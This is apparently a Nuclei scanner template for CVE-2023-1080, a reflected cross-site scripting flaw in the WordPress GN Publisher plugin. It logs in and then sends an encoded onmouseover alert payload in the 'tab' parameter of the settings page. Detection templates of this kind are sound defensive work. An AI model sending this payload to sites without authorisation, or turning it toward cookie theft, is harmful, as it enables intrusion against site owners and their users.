WordPress GN Publisher <1.5.6 - Cross-Site Scripting

id: CVE-2023-1080

info:
  name: WordPress GN Publisher <1.5.6 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    WordPress GN Publisher plugin before 1.5.6 is susceptible to cross-site scripting via the tab parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the affected website, potentially allowing an attacker to steal sensitive information or perform unauthorized actions.
  remediation: Fixed in version 1.5.6.
  reference:
    - https://wpscan.com/vulnerability/fcbcfb56-640d-4071-bc12-acac1b1e7a74
    - https://wordpress.org/plugins/gn-publisher/
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/8a4ee97c-63cd-4a5e-a112-6d4c4c627a57
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1080
    - https://plugins.trac.wordpress.org/browser/gn-publisher/trunk/templates/settings.php#L70
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-1080
    cwe-id: CWE-79
    epss-score: 0.00262
    epss-percentile: 0.65937
    cpe: cpe:2.3:a:gnpublisher:gn_publisher:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: gnpublisher
    product: gn_publisher
    framework: wordpress
  tags: cve2023,cve,wp-plugin,wordpress,gn-publisher,authenticated,wp,xss,wpscan,gnpublisher

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/options-general.php?page=gn-publisher-settings&tab=%22%2F+onmouseover%3Dalert%28document.domain%29%3B%2F%2F HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(header_2, "text/html")'
          - 'contains(body_2, "/ onmouseover=alert(document.domain);//")'
          - 'contains(body_2, "GN Publisher")'
        condition: and
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